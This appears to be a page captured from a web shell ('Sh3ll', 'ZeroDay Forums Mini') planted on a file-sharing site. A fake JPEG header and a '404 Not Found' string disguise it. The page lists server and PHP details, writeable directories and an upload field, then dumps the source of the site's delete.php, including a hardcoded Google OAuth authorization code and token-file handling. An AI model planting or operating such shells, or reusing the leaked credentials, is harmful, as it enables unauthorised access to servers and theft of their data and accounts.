����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/sharefilefree/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sharefilefree/delete.php
<?php
require 'vendor/autoload.php';
function getClient()
{
    $client = new Google_Client();
    $client->setApplicationName('Google Drive API PHP Quickstart');
    $client->setScopes(Google_Service_Drive::DRIVE);
    $client->setAuthConfig('giangnn30.json');
    $client->setAccessType('offline');
    $client->setPrompt('select_account consent');

    // Load previously authorized token from a file, if it exists.
    // The file token.json stores the user's access and refresh tokens, and is
    // created automatically when the authorization flow completes for the first
    // time.
    $tokenPath = 'data/token.json';

    if (file_exists($tokenPath)) {
        $accessToken = json_decode(file_get_contents($tokenPath), true);
        $client->setAccessToken($accessToken);
    }

    // If there is no previous token or it's expired.
    if ($client->isAccessTokenExpired()) {
        // Refresh the token if possible, else fetch a new one.
        if ($client->getRefreshToken()) {
            $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
        } else {
            // Request authorization from the user.

            /*$authUrl = $client->createAuthUrl();
            printf("Open the following link in your browser:\n%s\n", $authUrl);
            print 'Enter verification code: ';
            exit();*/

            //$authCode = trim(fgets(STDIN));
            $authCode = '4/0AX4XfWg5Mx2kEr55X7P77sd_upRb0MVZoyIQdaHMyk3g5TiP7xIgvk5V1UiM4mezBuEjoQ';
            //$authCode = $_GET['code'];
            // Exchange authorization code for an access token.
            $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
            $client->setAccessToken($accessToken);

            // Check to see if there was an error.
            if (array_key_exists('error', $accessToken)) {
                throw new Exception(join(', ', $accessToken));
            }
        }
        // Save the token to a file.
        if (!file_exists(dirname($tokenPath))) {
            mkdir(dirname($tokenPath), 0777, true);
        }
        file_put_contents($tokenPath, json_encode($client->getAccessToken()));
    }
    return $client;
}

$client = getClient();

$service = new Google_Service_Drive($client);
//Insert a file
$file = new Google_Service_Drive_DriveFile();

  $currPage = "delete"; 

  include_once("includes/header.php"); 

  $key = $_REQUEST["key"];
  
  if (!$key) {
    include("notfound.php");
    exit;
  }

  $fileInfos = getFileInfos($key,"delete");

$id = $fileInfos->drive_id;

if($id==''){
    include("notfound.php");
    exit;
}

  if (!$fileInfos || !$fileInfos->id) {
    include("notfound.php");
    exit;
  }


  /*if (isset($_REQUEST["proceed"]) && $_REQUEST["proceed"] == 1) {
    $sql = "delete from `" . $config->tablePrefix . "files` where id = '" . $fileInfos->id . "' and uid = '0'";
    $SFS->dbquery($sql);

    $file_path = $config->uploadDir . $fileInfos->uid . "/" . $fileInfos->id;
    if (file_exists($file_path)) xrmdir($file_path);

      $service->files->delete($id);

    $success = lang("success_delfile");

  }*/

?>


    <div class='container'>
      <div class="jumbotron">        
        <h1><?php echo $config->siteName; ?> <small>File Deletion Page</small></h1>
        <a href='<?php echo $config->instDir; ?>/' class='btn btn-lg btn-primary mt20 btn-wrap'>upload and share files for free</a>
      </div>

      <div class="row">
        <div class="col-sm-9">
          <?php if (isset($success) && $success) { 
            echo "<div class='alert alert-success'>$success</div>";
          } else { ?>

          <div class='text-center'>
            <div class="panel panel-info panel-deletefile">
              <div class="panel-heading"><h4><?php echo lang("conf_delete_file"); ?></h4></div>
              <div class="panel-body">
                <h2 class='dfname'><?php echo $fileInfos->descr;?></h2>
                <p class='text-left small'>

                  <?php echo lang("descr_uploaded"); ?>: <strong><?php echo date("d.m.Y G:i",strtotime($fileInfos->created)); ?></strong><br />
                  <?php if ($config->delDays > -1) { ?>
                    <?php echo lang("descr_accessible_until"); ?>: <strong><?php echo date(lang("date_format"),strtotime($fileInfos->accessible_until)); ?></strong> <small><i><?php echo sprintf(lang($fileInfos->days_remaining == 1 ? "descr_day_remaining" : "descr_days_remaining"),$fileInfos->days_remaining); ?></i></small><br />
                  <?php } ?>
                  <?php echo lang("descr_downloads"); ?>: <strong><?php echo $fileInfos->downloads; ?></strong><br />
                    File size:  <strong><?php echo  fsize($fileInfos->fsize);?></strong><br />
                    <?php
                  $add2class ='';
                  if ($config->passwordProtection && $fileInfos->pwd_protected && $fileInfos->pwd) {
                      $add2class = ' pwd_protected_delete';
                  }
                  list($dwnKey) = $SFS->genFileKeys($fileInfos->id);
                  ?>
                  <?php echo lang("download_link"); ?>: <strong><?php echo $config->baseDownloadUrl . $dwnKey; ?>.html</strong>
                </p>
                <p class='text-center'><a href='<?php echo $config->baseDownloadUrl . $dwnKey; ?>.html' class='btn btn-xs btn-success btn-download'><i class="fa fa-download fa-fw"></i> Download</a></p>
              </div>

              <div class='panel-footer text-center'>
                <a href='<?php echo $config->instDir; ?>/' class='btn btn-primary'><i class="fa fa-home"></i> <?php echo lang("no_cancel"); ?></a>
                <a href='https://freesharefile.com/delete_confirm/<?php echo $key;?>.html' class='btn btn-danger <?php echo $add2class; ?>'><i class="fa fa-trash-o"></i> <?php echo lang("yes_delete"); ?></a>
              </div>

            </div>
          </div>

          <?php
          } //!success 
          ?>
        </div> <!-- col-sm-9 -->


        <!--<div class="col-sm-3">
          <h3>Place for some Ads</h3>
          <p class='text-center'><a href='http://themeforest.net?ref=themac' onclick="window.open(this.href); return false;"><img src='<?php /*echo $config->instDir; */?>/img/tf_300x250_v2.gif' alt='' class='img-rounded img-responsive' /></a><br /><br />
            <a href='http://codecanyon.net?ref=themac' onclick="window.open(this.href); return false;"><img src='<?php /*echo $config->instDir; */?>/img/cc_260x120_v3.gif' alt='' class='img-rounded img-responsive' /></a>
          </p>
        </div>-->

      </div>

    </div> <!-- container -->

<?php include("includes/footer.php"); ?>

ZeroDay Forums Mini